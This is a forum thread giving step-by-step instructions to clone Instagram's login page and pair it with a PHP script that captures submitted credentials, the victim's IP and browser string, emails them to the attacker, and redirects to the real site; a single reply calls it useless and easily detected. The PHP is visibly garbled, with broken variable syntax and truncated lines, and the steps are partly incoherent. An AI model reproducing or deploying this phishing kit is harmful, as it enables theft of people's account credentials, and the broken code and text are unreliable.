Thread: [HOW TO MAKE UNDETECTABLE PHSHING PAGES](#)

moonsh1n3 - March 25, 2026, 12:50 am

Scam/Phishing page is a fake webpage. e.g. a login of a popular website, online bank login and etc. depending on what it is. scam page are used by spammers to collect data on people who get scammed. detecting scam page is simple if you are technology oriented. but most common users can't detect scam page. this is a big problem in the www. some company are developing software to combat scam's or phishing scams - phishing is the term used for this scam.

- 1] OK, so first we choose a target. We chose www.instagram.com
- 2] Navigate the site chosen. Press CTRL + S and save the file. Html somewhere on your computer.
- 3] We open ... There might be a problem, namely the way the image.
- 4] If relative path (relative path is the path like / images / wow.gif) be transformed into an absolute path (<http://tinta.com/images/wow.gif>)
- 5] Now that you clarified your lead you to the file. Html that was saved, so your login type CTRL + F ... (Here the words are different Dak login does not work).
- 6] You have a code like . Login2.php change in 040147.php!
- 7] Now, the username should be a code like . name = "email" tells us that in PHP script authentication is the variable that you email username.
- 8] Good memory... A and memorize it.
- 9] Now, where you have saved. Html, created a new file called 040147.php.

In it, add the following code:

PHP:

```
$ To = "your@email.com"
$ Name = $_POST ['email'];
$ Email = $_POST ['email'];
$ Subject = $_POST ['subject'];

$ Agent = $_SERVER ['HTTP_USER_AGENT'];
$ Ip = $_SERVER ['REMOTE_ADDR'];
$ D = date ('l dS \ of F Y h: i: s A');
$ Sub = "New Account Hacked PayPal - $ email";
$ Headers = "From: $ name <$ email> \ n";
$ Headers .= "Content-Type: text / plain, charset = iso-8859-1 \ n";
$ Mes .= 'Username:'. $ Email. "\ N";
$ Msg ... "\ N";
$ Msg .= "Browser:". $ Agent. "\ N";
$ Msg .= "IP:". $ Ip. "\ N";
$ Mes .= 'Date and time:'. $ D;
(
mail ($ to, $ sub, $ mes, $ headers);
header ("Location: www.instagram.com");
)
?>
```

10] Change the email to yours..

11] Rename. Or HTML into index.html. Php, you upload the 2 files on a host and entertain.

YOUR SCAMPAGE IS READY NOW

Sorry, but this is practically useless and hardly undetectable. More like immediately detected.
